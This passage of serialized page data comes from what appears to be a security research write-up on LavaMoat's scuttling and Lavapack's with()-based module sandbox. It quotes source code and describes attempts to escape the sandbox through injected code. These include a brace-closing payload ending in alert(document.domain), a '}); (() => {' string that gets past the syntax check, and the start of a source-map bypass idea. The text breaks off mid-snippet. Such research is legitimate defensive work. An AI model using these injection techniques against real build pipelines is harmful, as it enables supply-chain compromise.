popular, trusted package.",{"type":25,"tag":38,"props":51505,"children":51506},{},[51507,51509,51516],{"type":31,"value":51508},"Instead, Lavamoat looks at how each package is connected by ",{"type":25,"tag":162,"props":51510,"children":51513},{"href":51511,"rel":51512},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[166],[51514],{"type":31,"value":51515},"walking the modules",{"type":31,"value":51517}," in a project's dependency tree, thus generating a unique name for each package.",{"type":25,"tag":631,"props":51519,"children":51521},{"id":51520},"scuttling",[51522],{"type":31,"value":51119},{"type":25,"tag":38,"props":51524,"children":51525},{},[51526,51528,51534],{"type":31,"value":51527},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":25,"tag":82,"props":51529,"children":51531},{"className":51530},[],[51532],{"type":31,"value":51533},"GlobalThis",{"type":31,"value":51535}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":25,"tag":38,"props":51537,"children":51538},{},[51539,51541,51548],{"type":31,"value":51540},"For example, ",{"type":25,"tag":162,"props":51542,"children":51545},{"href":51543,"rel":51544},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[166],[51546],{"type":31,"value":51547},"here",{"type":31,"value":51549}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":25,"tag":206,"props":51551,"children":51553},{"className":35319,"code":51552,"language":35321,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[51554],{"type":25,"tag":82,"props":51555,"children":51556},{"__ignoreMap":7},[51557,51586,51636,51695,51702,51774],{"type":25,"tag":216,"props":51558,"children":51559},{"class":6916,"line":6917},[51560,51564,51568,51573,51577,51582],{"type":25,"tag":216,"props":51561,"children":51562},{"style":6967},[51563],{"type":31,"value":16229},{"type":25,"tag":216,"props":51565,"children":51566},{"style":6958},[51567],{"type":31,"value":7010},{"type":25,"tag":216,"props":51569,"children":51570},{"style":6941},[51571],{"type":31,"value":51572},"scuttleOpts",{"type":25,"tag":216,"props":51574,"children":51575},{"style":6958},[51576],{"type":31,"value":179},{"type":25,"tag":216,"props":51578,"children":51579},{"style":6941},[51580],{"type":31,"value":51581},"enabled",{"type":25,"tag":216,"props":51583,"children":51584},{"style":6958},[51585],{"type":31,"value":18755},{"type":25,"tag":216,"props":51587,"children":51588},{"class":6916,"line":6763},[51589,51593,51597,51601,51606,51610,51615,51619,51623,51627,51632],{"type":25,"tag":216,"props":51590,"children":51591},{"style":6967},[51592],{"type":31,"value":43244},{"type":25,"tag":216,"props":51594,"children":51595},{"style":6958},[51596],{"type":31,"value":7010},{"type":25,"tag":216,"props":51598,"children":51599},{"style":6947},[51600],{"type":31,"value":24575},{"type":25,"tag":216,"props":51602,"children":51603},{"style":6941},[51604],{"type":31,"value":51605},"Array",{"type":25,"tag":216,"props":51607,"children":51608},{"style":6958},[51609],{"type":31,"value":179},{"type":25,"tag":216,"props":51611,"children":51612},{"style":7041},[51613],{"type":31,"value":51614},"isArray",{"type":25,"tag":216,"props":51616,"children":51617},{"style":6958},[51618],{"type":31,"value":1844},{"type":25,"tag":216,"props":51620,"children":51621},{"style":6941},[51622],{"type":31,"value":51572},{"type":25,"tag":216,"props":51624,"children":51625},{"style":6958},[51626],{"type":31,"value":179},{"type":25,"tag":216,"props":51628,"children":51629},{"style":6941},[51630],{"type":31,"value":51631},"exceptions",{"type":25,"tag":216,"props":51633,"children":51634},{"style":6958},[51635],{"type":31,"value":39151},{"type":25,"tag":216,"props":51637,"children":51638},{"class":6916,"line":6772},[51639,51644,51648,51652,51656,51661,51665,51669,51674,51678,51682,51686,51691],{"type":25,"tag":216,"props":51640,"children":51641},{"style":6967},[51642],{"type":31,"value":51643},"        throw",{"type":25,"tag":216,"props":51645,"children":51646},{"style":6930},[51647],{"type":31,"value":35889},{"type":25,"tag":216,"props":51649,"children":51650},{"style":7041},[51651],{"type":31,"value":44241},{"type":25,"tag":216,"props":51653,"children":51654},{"style":6958},[51655],{"type":31,"value":1844},{"type":25,"tag":216,"props":51657,"children":51658},{"style":8199},[51659],{"type":31,"value":51660},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":25,"tag":216,"props":51662,"children":51663},{"style":6930},[51664],{"type":31,"value":38065},{"type":25,"tag":216,"props":51666,"children":51667},{"style":6930},[51668],{"type":31,"value":35359},{"type":25,"tag":216,"props":51670,"children":51671},{"style":6941},[51672],{"type":31,"value":51673}," scuttleOpts",{"type":25,"tag":216,"props":51675,"children":51676},{"style":6947},[51677],{"type":31,"value":179},{"type":25,"tag":216,"props":51679,"children":51680},{"style":6941},[51681],{"type":31,"value":51631},{"type":25,"tag":216,"props":51683,"children":51684},{"style":6930},[51685],{"type":31,"value":38097},{"type":25,"tag":216,"props":51687,"children":51688},{"style":8199},[51689],{"type":31,"value":51690},"\"`",{"type":25,"tag":216,"props":51692,"children":51693},{"style":6958},[51694],{"type":31,"value":7101},{"type":25,"tag":216,"props":51696,"children":51697},{"class":6916,"line":6999},[51698],{"type":25,"tag":216,"props":51699,"children":51700},{"style":6958},[51701],{"type":31,"value":16614},{"type":25,"tag":216,"props":51703,"children":51704},{"class":6916,"line":7104},[51705,51710,51714,51719,51723,51728,51732,51737,51741,51746,51750,51754,51758,51762,51766,51770],{"type":25,"tag":216,"props":51706,"children":51707},{"style":6941},[51708],{"type":31,"value":51709},"      scuttleOpts",{"type":25,"tag":216,"props":51711,"children":51712},{"style":6958},[51713],{"type":31,"value":179},{"type":25,"tag":216,"props":51715,"children":51716},{"style":7041},[51717],{"type":31,"value":51718},"scuttlerFunc",{"type":25,"tag":216,"props":51720,"children":51721},{"style":6958},[51722],{"type":31,"value":1844},{"type":25,"tag":216,"props":51724,"children":51725},{"style":6941},[51726],{"type":31,"value":51727},"globalRef",{"type":25,"tag":216,"props":51729,"children":51730},{"style":6958},[51731],{"type":31,"value":7020},{"type":25,"tag":216,"props":51733,"children":51734},{"style":6941},[51735],{"type":31,"value":51736},"realm",{"type":25,"tag":216,"props":51738,"children":51739},{"style":6930},[51740],{"type":31,"value":31705},{"type":25,"tag":216,"props":51742,"children":51743},{"style":7041},[51744],{"type":31,"value":51745}," performScuttleGlobalThis",{"type":25,"tag":216,"props":51747,"children":51748},{"style":6958},[51749],{"type":31,"value":1844},{"type":25,"tag":216,"props":51751,"children":51752},{"style":6941},[51753],{"type":31,"value":51736},{"type":25,"tag":216,"props":51755,"children":51756},{"style":6958},[51757],{"type":31,"value":7020},{"type":25,"tag":216,"props":51759,"children":51760},{"style":6941},[51761],{"type":31,"value":51572},{"type":25,"tag":216,"props":51763,"children":51764},{"style":6958},[51765],{"type":31,"value":179},{"type":25,"tag":216,"props":51767,"children":51768},{"style":6941},[51769],{"type":31,"value":51631},{"type":25,"tag":216,"props":51771,"children":51772},{"style":6958},[51773],{"type":31,"value":23666},{"type":25,"tag":216,"props":51775,"children":51776},{"class":6916,"line":7210},[51777],{"type":25,"tag":216,"props":51778,"children":51779},{"style":6958},[51780],{"type":31,"value":7305},{"type":25,"tag":38,"props":51782,"children":51783},{},[51784,51786,51792,51794,51800],{"type":31,"value":51785},"Subsequently, the code defines a ",{"type":25,"tag":162,"props":51787,"children":51790},{"href":51788,"rel":51789},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[166],[51791],{"type":31,"value":35333},{"type":31,"value":51793}," called ",{"type":25,"tag":82,"props":51795,"children":51797},{"className":51796},[],[51798],{"type":31,"value":51799},"generateScuttleOpts",{"type":31,"value":51801}," that creates and returns an options object.",{"type":25,"tag":38,"props":51803,"children":51804},{},[51805,51807,51813,51814,51820,51822,51827,51829,51835],{"type":31,"value":51806},"Finally, the ",{"type":25,"tag":82,"props":51808,"children":51810},{"className":51809},[],[51811],{"type":31,"value":51812},"performScuttleGlobalThis",{"type":31,"value":10403},{"type":25,"tag":162,"props":51815,"children":51818},{"href":51816,"rel":51817},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[166],[51819],{"type":31,"value":35333},{"type":31,"value":51821}," modifies the properties of the global object (",{"type":25,"tag":82,"props":51823,"children":51825},{"className":51824},[],[51826],{"type":31,"value":51727},{"type":31,"value":51828},"). It starts by creating an array ",{"type":25,"tag":82,"props":51830,"children":51832},{"className":51831},[],[51833],{"type":31,"value":51834},"props",{"type":31,"value":51836},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":25,"tag":26,"props":51838,"children":51840},{"id":51839},"hacking-webpacks",[51841],{"type":31,"value":51842},"Hacking Webpacks",{"type":25,"tag":38,"props":51844,"children":51845},{},[51846],{"type":31,"value":51847},"Now let's get to the fun stuff.",{"type":25,"tag":38,"props":51849,"children":51850},{},[51851],{"type":31,"value":51852},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":25,"tag":206,"props":51854,"children":51856},{"className":35319,"code":51855,"language":35321,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[51857],{"type":25,"tag":82,"props":51858,"children":51859},{"__ignoreMap":7},[51860,51912,51924,51944,51961,51969,51977,51985,51993,52014,52022,52030,52038,52045,52052,52059],{"type":25,"tag":216,"props":51861,"children":51862},{"class":6916,"line":6917},[51863,51867,51872,51876,51881,51885,51890,51894,51899,51903,51908],{"type":25,"tag":216,"props":51864,"children":51865},{"style":6930},[51866],{"type":31,"value":40145},{"type":25,"tag":216,"props":51868,"children":51869},{"style":6941},[51870],{"type":31,"value":51871}," filename",{"type":25,"tag":216,"props":51873,"children":51874},{"style":6947},[51875],{"type":31,"value":6950},{"type":25,"tag":216,"props":51877,"children":51878},{"style":7041},[51879],{"type":31,"value":51880}," encodeURI",{"type":25,"tag":216,"props":51882,"children":51883},{"style":6958},[51884],{"type":31,"value":1844},{"type":25,"tag":216,"props":51886,"children":51887},{"style":7041},[51888],{"type":31,"value":51889},"String",{"type":25,"tag":216,"props":51891,"children":51892},{"style":6958},[51893],{"type":31,"value":1844},{"type":25,"tag":216,"props":51895,"children":51896},{"style":6941},[51897],{"type":31,"value":51898},"moduleData",{"type":25,"tag":216,"props":51900,"children":51901},{"style":6958},[51902],{"type":31,"value":179},{"type":25,"tag":216,"props":51904,"children":51905},{"style":6941},[51906],{"type":31,"value":51907},"file",{"type":25,"tag":216,"props":51909,"children":51910},{"style":6958},[51911],{"type":31,"value":23666},{"type":25,"tag":216,"props":51913,"children":51914},{"class":6916,"line":6763},[51915,51919],{"type":25,"tag":216,"props":51916,"children":51917},{"style":6930},[51918],{"type":31,"value":11801},{"type":25,"tag":216,"props":51920,"children":51921},{"style":6941},[51922],{"type":31,"value":51923}," moduleWrapperSource\n",{"type":25,"tag":216,"props":51925,"children":51926},{"class":6916,"line":6772},[51927,51931,51935,51940],{"type":25,"tag":216,"props":51928,"children":51929},{"style":6967},[51930],{"type":31,"value":35350},{"type":25,"tag":216,"props":51932,"children":51933},{"style":6958},[51934],{"type":31,"value":7010},{"type":25,"tag":216,"props":51936,"children":51937},{"style":6941},[51938],{"type":31,"value":51939},"bundleWithPrecompiledModules",{"type":25,"tag":216,"props":51941,"children":51942},{"style":6958},[51943],{"type":31,"value":18755},{"type":25,"tag":216,"props":51945,"children":51946},{"class":6916,"line":6999},[51947,51952,51956],{"type":25,"tag":216,"props":51948,"children":51949},{"style":6941},[51950],{"type":31,"value":51951},"    moduleWrapperSource",{"type":25,"tag":216,"props":51953,"children":51954},{"style":6947},[51955],{"type":31,"value":6950},{"type":25,"tag":216,"props":51957,"children":51958},{"style":8199},[51959],{"type":31,"value":51960}," `function(){\n",{"type":25,"tag":216,"props":51962,"children":51963},{"class":6916,"line":7104},[51964],{"type":25,"tag":216,"props":51965,"children":51966},{"style":8199},[51967],{"type":31,"value":51968},"      with (this.scopeTerminator) {\n",{"type":25,"tag":216,"props":51970,"children":51971},{"class":6916,"line":7210},[51972],{"type":25,"tag":216,"props":51973,"children":51974},{"style":8199},[51975],{"type":31,"value":51976},"        with (this.globalThis) {\n",{"type":25,"tag":216,"props":51978,"children":51979},{"class":6916,"line":7238},[51980],{"type":25,"tag":216,"props":51981,"children":51982},{"style":8199},[51983],{"type":31,"value":51984},"          return function() {\n",{"type":25,"tag":216,"props":51986,"children":51987},{"class":6916,"line":7251},[51988],{"type":25,"tag":216,"props":51989,"children":51990},{"style":8199},[51991],{"type":31,"value":51992},"            'use strict';\n",{"type":25,"tag":216,"props":51994,"children":51995},{"class":6916,"line":7269},[51996,52001,52005,52010],{"type":25,"tag":216,"props":51997,"children":51998},{"style":8199},[51999],{"type":31,"value":52000},"            // source: ",{"type":25,"tag":216,"props":52002,"children":52003},{"style":6930},[52004],{"type":31,"value":38065},{"type":25,"tag":216,"props":52006,"children":52007},{"style":6941},[52008],{"type":31,"value":52009},"filename",{"type":25,"tag":216,"props":52011,"children":52012},{"style":6930},[52013],{"type":31,"value":7868},{"type":25,"tag":216,"props":52015,"children":52016},{"class":6916,"line":7290},[52017],{"type":25,"tag":216,"props":52018,"children":52019},{"style":8199},[52020],{"type":31,"value":52021},"            return function (require, module, exports) {\n",{"type":25,"tag":216,"props":52023,"children":52024},{"class":6916,"line":7299},[52025],{"type":25,"tag":216,"props":52026,"children":52027},{"style":8199},[52028],{"type":31,"value":52029},"              __MODULE_CONTENT__\n",{"type":25,"tag":216,"props":52031,"children":52032},{"class":6916,"line":7551},[52033],{"type":25,"tag":216,"props":52034,"children":52035},{"style":8199},[52036],{"type":31,"value":52037},"            };\n",{"type":25,"tag":216,"props":52039,"children":52040},{"class":6916,"line":7568},[52041],{"type":25,"tag":216,"props":52042,"children":52043},{"style":8199},[52044],{"type":31,"value":12649},{"type":25,"tag":216,"props":52046,"children":52047},{"class":6916,"line":7585},[52048],{"type":25,"tag":216,"props":52049,"children":52050},{"style":8199},[52051],{"type":31,"value":7296},{"type":25,"tag":216,"props":52053,"children":52054},{"class":6916,"line":7598},[52055],{"type":25,"tag":216,"props":52056,"children":52057},{"style":8199},[52058],{"type":31,"value":16614},{"type":25,"tag":216,"props":52060,"children":52061},{"class":6916,"line":7607},[52062],{"type":25,"tag":216,"props":52063,"children":52064},{"style":8199},[52065],{"type":31,"value":52066},"    }`\n",{"type":25,"tag":38,"props":52068,"children":52069},{},[52070,52072,52078,52080,52086],{"type":31,"value":52071},"Lavapack uses ",{"type":25,"tag":82,"props":52073,"children":52075},{"className":52074},[],[52076],{"type":31,"value":52077},"with()",{"type":31,"value":52079}," proxies to restrict the objects accessible by the module, and ",{"type":25,"tag":82,"props":52081,"children":52083},{"className":52082},[],[52084],{"type":31,"value":52085},"__MODULE_CONTENT__",{"type":31,"value":52087}," is replaced by the content of a file required by the project being built.",{"type":25,"tag":607,"props":52089,"children":52091},{"id":52090},"injection-not-so-simple",[52092],{"type":31,"value":52093},"Injection? Not So Simple",{"type":25,"tag":38,"props":52095,"children":52096},{},[52097,52099,52104],{"type":31,"value":52098},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":25,"tag":82,"props":52100,"children":52102},{"className":52101},[],[52103],{"type":31,"value":16601},{"type":31,"value":52105}," environment:",{"type":25,"tag":206,"props":52107,"children":52109},{"className":35319,"code":52108,"language":35321,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[52110],{"type":25,"tag":82,"props":52111,"children":52112},{"__ignoreMap":7},[52113,52126,52138,52150,52162,52169],{"type":25,"tag":216,"props":52114,"children":52115},{"class":6916,"line":6917},[52116,52121],{"type":25,"tag":216,"props":52117,"children":52118},{"style":6958},[52119],{"type":31,"value":52120},"   } ",{"type":25,"tag":216,"props":52122,"children":52123},{"style":6921},[52124],{"type":31,"value":52125},"// end function 1\n",{"type":25,"tag":216,"props":52127,"children":52128},{"class":6916,"line":6763},[52129,52133],{"type":25,"tag":216,"props":52130,"children":52131},{"style":6958},[52132],{"type":31,"value":35424},{"type":25,"tag":216,"props":52134,"children":52135},{"style":6921},[52136],{"type":31,"value":52137},"// end function 2\n",{"type":25,"tag":216,"props":52139,"children":52140},{"class":6916,"line":6772},[52141,52145],{"type":25,"tag":216,"props":52142,"children":52143},{"style":6958},[52144],{"type":31,"value":40159},{"type":25,"tag":216,"props":52146,"children":52147},{"style":6921},[52148],{"type":31,"value":52149},"// end with 1\n",{"type":25,"tag":216,"props":52151,"children":52152},{"class":6916,"line":6999},[52153,52157],{"type":25,"tag":216,"props":52154,"children":52155},{"style":6958},[52156],{"type":31,"value":50836},{"type":25,"tag":216,"props":52158,"children":52159},{"style":6921},[52160],{"type":31,"value":52161},"// end with 2\n",{"type":25,"tag":216,"props":52163,"children":52164},{"class":6916,"line":7104},[52165],{"type":25,"tag":216,"props":52166,"children":52167},{"emptyLinePlaceholder":16},[52168],{"type":31,"value":7636},{"type":25,"tag":216,"props":52170,"children":52171},{"class":6916,"line":7210},[52172,52176,52180,52184,52188,52192],{"type":25,"tag":216,"props":52173,"children":52174},{"style":7041},[52175],{"type":31,"value":36654},{"type":25,"tag":216,"props":52177,"children":52178},{"style":6958},[52179],{"type":31,"value":1844},{"type":25,"tag":216,"props":52181,"children":52182},{"style":6941},[52183],{"type":31,"value":36664},{"type":25,"tag":216,"props":52185,"children":52186},{"style":6958},[52187],{"type":31,"value":179},{"type":25,"tag":216,"props":52189,"children":52190},{"style":6941},[52191],{"type":31,"value":36674},{"type":25,"tag":216,"props":52193,"children":52194},{"style":6958},[52195],{"type":31,"value":7101},{"type":25,"tag":38,"props":52197,"children":52198},{},[52199,52201,52207,52209,52216],{"type":31,"value":52200},"However, when we tried to bundle it, a ",{"type":25,"tag":82,"props":52202,"children":52204},{"className":52203},[],[52205],{"type":31,"value":52206},"ParseError",{"type":31,"value":52208}," was thrown. This is because Lavapack is a plugin of ",{"type":25,"tag":162,"props":52210,"children":52213},{"href":52211,"rel":52212},"https://github.com/browserify/browserify",[166],[52214],{"type":31,"value":52215},"browserify",{"type":31,"value":52217},", which has a syntax check before replacing the code.",{"type":25,"tag":38,"props":52219,"children":52220},{},[52221,52223,52229,52231,52237,52239,52245,52247,52252],{"type":31,"value":52222},"Looking deeper into browserify, we find it has a ",{"type":25,"tag":82,"props":52224,"children":52226},{"className":52225},[],[52227],{"type":31,"value":52228},"syntax",{"type":31,"value":52230}," stage on it's pipeline, and uses the ",{"type":25,"tag":82,"props":52232,"children":52234},{"className":52233},[],[52235],{"type":31,"value":52236},"syntax-error",{"type":31,"value":52238}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":25,"tag":82,"props":52240,"children":52242},{"className":52241},[],[52243],{"type":31,"value":52244},"pack",{"type":31,"value":52246}," stage on browserify pipeline, which comes after the ",{"type":25,"tag":82,"props":52248,"children":52250},{"className":52249},[],[52251],{"type":31,"value":52228},{"type":31,"value":52253},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":25,"tag":38,"props":52255,"children":52256},{},[52257],{"type":25,"tag":6461,"props":52258,"children":52261},{"alt":52259,"src":52260},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":25,"tag":38,"props":52263,"children":52264},{},[52265,52266,52271,52273,52278],{"type":31,"value":474},{"type":25,"tag":82,"props":52267,"children":52269},{"className":52268},[],[52270],{"type":31,"value":52236},{"type":31,"value":52272}," package performs a syntax check by using  ",{"type":25,"tag":82,"props":52274,"children":52276},{"className":52275},[],[52277],{"type":31,"value":41505},{"type":31,"value":52279}," with function hoisting:",{"type":25,"tag":206,"props":52281,"children":52283},{"className":35319,"code":52282,"language":35321,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[52284],{"type":25,"tag":82,"props":52285,"children":52286},{"__ignoreMap":7},[52287,52299,52349,52360,52367,52388,52429,52489,52530],{"type":25,"tag":216,"props":52288,"children":52289},{"class":6916,"line":6917},[52290,52295],{"type":25,"tag":216,"props":52291,"children":52292},{"style":6967},[52293],{"type":31,"value":52294},"try",{"type":25,"tag":216,"props":52296,"children":52297},{"style":6958},[52298],{"type":31,"value":7235},{"type":25,"tag":216,"props":52300,"children":52301},{"class":6916,"line":6763},[52302,52307,52311,52316,52320,52325,52329,52334,52340,52345],{"type":25,"tag":216,"props":52303,"children":52304},{"style":7041},[52305],{"type":31,"value":52306},"    eval",{"type":25,"tag":216,"props":52308,"children":52309},{"style":6958},[52310],{"type":31,"value":1844},{"type":25,"tag":216,"props":52312,"children":52313},{"style":8199},[52314],{"type":31,"value":52315},"'throw \"STOP\"; (function () { '",{"type":25,"tag":216,"props":52317,"children":52318},{"style":6947},[52319],{"type":31,"value":12852},{"type":25,"tag":216,"props":52321,"children":52322},{"style":6941},[52323],{"type":31,"value":52324}," src",{"type":25,"tag":216,"props":52326,"children":52327},{"style":6947},[52328],{"type":31,"value":12852},{"type":25,"tag":216,"props":52330,"children":52331},{"style":8199},[52332],{"type":31,"value":52333}," '",{"type":25,"tag":216,"props":52335,"children":52337},{"style":52336},"--shiki-default:#D7BA7D",[52338],{"type":31,"value":52339},"\\n",{"type":25,"tag":216,"props":52341,"children":52342},{"style":8199},[52343],{"type":31,"value":52344},"})()'",{"type":25,"tag":216,"props":52346,"children":52347},{"style":6958},[52348],{"type":31,"value":7791},{"type":25,"tag":216,"props":52350,"children":52351},{"class":6916,"line":6772},[52352,52356],{"type":25,"tag":216,"props":52353,"children":52354},{"style":6967},[52355],{"type":31,"value":20941},{"type":25,"tag":216,"props":52357,"children":52358},{"style":6958},[52359],{"type":31,"value":6961},{"type":25,"tag":216,"props":52361,"children":52362},{"class":6916,"line":6999},[52363],{"type":25,"tag":216,"props":52364,"children":52365},{"style":6958},[52366],{"type":31,"value":7868},{"type":25,"tag":216,"props":52368,"children":52369},{"class":6916,"line":7104},[52370,52375,52379,52384],{"type":25,"tag":216,"props":52371,"children":52372},{"style":6967},[52373],{"type":31,"value":52374},"catch",{"type":25,"tag":216,"props":52376,"children":52377},{"style":6958},[52378],{"type":31,"value":7010},{"type":25,"tag":216,"props":52380,"children":52381},{"style":6941},[52382],{"type":31,"value":52383},"err",{"type":25,"tag":216,"props":52385,"children":52386},{"style":6958},[52387],{"type":31,"value":18755},{"type":25,"tag":216,"props":52389,"children":52390},{"class":6916,"line":7210},[52391,52395,52399,52403,52407,52412,52416,52421,52425],{"type":25,"tag":216,"props":52392,"children":52393},{"style":6967},[52394],{"type":31,"value":16229},{"type":25,"tag":216,"props":52396,"children":52397},{"style":6958},[52398],{"type":31,"value":7010},{"type":25,"tag":216,"props":52400,"children":52401},{"style":6941},[52402],{"type":31,"value":52383},{"type":25,"tag":216,"props":52404,"children":52405},{"style":6947},[52406],{"type":31,"value":35378},{"type":25,"tag":216,"props":52408,"children":52409},{"style":8199},[52410],{"type":31,"value":52411}," 'STOP'",{"type":25,"tag":216,"props":52413,"children":52414},{"style":6958},[52415],{"type":31,"value":7030},{"type":25,"tag":216,"props":52417,"children":52418},{"style":6967},[52419],{"type":31,"value":52420},"return",{"type":25,"tag":216,"props":52422,"children":52423},{"style":6930},[52424],{"type":31,"value":43295},{"type":25,"tag":216,"props":52426,"children":52427},{"style":6958},[52428],{"type":31,"value":6961},{"type":25,"tag":216,"props":52430,"children":52431},{"class":6916,"line":7238},[52432,52436,52440,52444,52448,52453,52457,52462,52467,52472,52476,52480,52485],{"type":25,"tag":216,"props":52433,"children":52434},{"style":6967},[52435],{"type":31,"value":16229},{"type":25,"tag":216,"props":52437,"children":52438},{"style":6958},[52439],{"type":31,"value":7010},{"type":25,"tag":216,"props":52441,"children":52442},{"style":6941},[52443],{"type":31,"value":52383},{"type":25,"tag":216,"props":52445,"children":52446},{"style":6958},[52447],{"type":31,"value":179},{"type":25,"tag":216,"props":52449,"children":52450},{"style":6941},[52451],{"type":31,"value":52452},"constructor",{"type":25,"tag":216,"props":52454,"children":52455},{"style":6958},[52456],{"type":31,"value":179},{"type":25,"tag":216,"props":52458,"children":52459},{"style":6941},[52460],{"type":31,"value":52461},"name",{"type":25,"tag":216,"props":52463,"children":52464},{"style":6947},[52465],{"type":31,"value":52466}," !==",{"type":25,"tag":216,"props":52468,"children":52469},{"style":8199},[52470],{"type":31,"value":52471}," 'SyntaxError'",{"type":25,"tag":216,"props":52473,"children":52474},{"style":6958},[52475],{"type":31,"value":7030},{"type":25,"tag":216,"props":52477,"children":52478},{"style":6967},[52479],{"type":31,"value":52420},{"type":25,"tag":216,"props":52481,"children":52482},{"style":6941},[52483],{"type":31,"value":52484}," err",{"type":25,"tag":216,"props":52486,"children":52487},{"style":6958},[52488],{"type":31,"value":6961},{"type":25,"tag":216,"props":52490,"children":52491},{"class":6916,"line":7251},[52492,52496,52501,52505,52509,52513,52517,52521,52526],{"type":25,"tag":216,"props":52493,"children":52494},{"style":6967},[52495],{"type":31,"value":20941},{"type":25,"tag":216,"props":52497,"children":52498},{"style":7041},[52499],{"type":31,"value":52500}," errorInfo",{"type":25,"tag":216,"props":52502,"children":52503},{"style":6958},[52504],{"type":31,"value":1844},{"type":25,"tag":216,"props":52506,"children":52507},{"style":6941},[52508],{"type":31,"value":36626},{"type":25,"tag":216,"props":52510,"children":52511},{"style":6958},[52512],{"type":31,"value":7020},{"type":25,"tag":216,"props":52514,"children":52515},{"style":6941},[52516],{"type":31,"value":51907},{"type":25,"tag":216,"props":52518,"children":52519},{"style":6958},[52520],{"type":31,"value":7020},{"type":25,"tag":216,"props":52522,"children":52523},{"style":6941},[52524],{"type":31,"value":52525},"opts",{"type":25,"tag":216,"props":52527,"children":52528},{"style":6958},[52529],{"type":31,"value":7791},{"type":25,"tag":216,"props":52531,"children":52532},{"class":6916,"line":7269},[52533],{"type":25,"tag":216,"props":52534,"children":52535},{"style":6958},[52536],{"type":31,"value":7868},{"type":25,"tag":38,"props":52538,"children":52539},{},[52540,52542,52546,52548,52554,52556,52561],{"type":31,"value":52541},"Interestingly, it ",{"type":25,"tag":64,"props":52543,"children":52544},{},[52545],{"type":31,"value":7943},{"type":31,"value":52547}," possible to inject a ",{"type":25,"tag":82,"props":52549,"children":52551},{"className":52550},[],[52552],{"type":31,"value":52553},"}); (() => {",{"type":31,"value":52555}," inside source, and will not throw a syntax error. Unfortunately, this is not enough to bypass the ",{"type":25,"tag":82,"props":52557,"children":52559},{"className":52558},[],[52560],{"type":31,"value":52077},{"type":31,"value":52562}," sandbox of Lavapack.",{"type":25,"tag":607,"props":52564,"children":52566},{"id":52565},"sourcemap-the-syntax-killer",[52567],{"type":31,"value":52568},"SourceMap: The Syntax Killer",{"type":25,"tag":38,"props":52570,"children":52571},{},[52572,52574,52581],{"type":31,"value":52573},"Lavapack has a feature to extract source maps files from the code using ",{"type":25,"tag":162,"props":52575,"children":52578},{"href":52576,"rel":52577},"https://www.npmjs.com/package/convert-source-map",[166],[52579],{"type":31,"value":52580},"convert-source-map",{"type":31,"value":52582}," npm package:",{"type":25,"tag":206,"props":52584,"children":52586},{"className":35319,"code":52585,"language":35321,"meta":7,"style":7},"function extractSourceMaps(sourceCode) {\n  const converter = convertSourceMap.fromSource(sourceCode)\n  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n  const maps = converter && converter.toObject()\n  const code = convertSourceMap.removeComments(sourceCode)\n  return { code, maps }\n}\n",[52587],{"type":25,"tag":82,"props":52588,"children":52589},{"__ignoreMap":7},[52590,52614,52656,52664,52705,52746,52774],{"type":25,"tag":216,"props":52591,"children":52592},{"class":6916,"line":6917},[52593,52597,52602,52606,52610],{"type":25,"tag":216,"props":52594,"children":52595},{"style":6930},[52596],{"type":31,"value":35333},{"type":25,"tag":216,"props":52598,"children":52599},{"style":7041},[52600],{"type":31,"value":52601}," extractSourceMaps",{"type":25,"tag":216,"props":52603,"children":52604},{"style":6958},[52605],{"type":31,"value":1844},{"type":25,"tag":216,"props":52607,"children":52608},{"style":6941},[52609],{"type":31,"value":41971},{"type":25,"tag":216,"props":52611,"children":52612},{"style":6958},[52613],{"type":31,"value":18755},{"type":25,"tag":216,"props":52615,"children":52616},{"class":6916,"line":6763},[52617,52621,52626,52630,52635,52639,52644,52648,52652],{"type":25,"tag":216,"props":52618,"children":52619},{"style":6930},[52620],{"type":31,"value":40145},{"type":25,"tag":216,"props":52622,"children":52623},{"style":6941},[52624],{"type":31,"value":52625}," converter",{"type":25,"tag":216,"props":52627,"children":52628},{"style":6947},[52629],{"type":31,"value":6950},{"type":25,"tag":216,"props":52631,"children":52632},{"style":6941},[52633],{"type":31,"value":52634}," 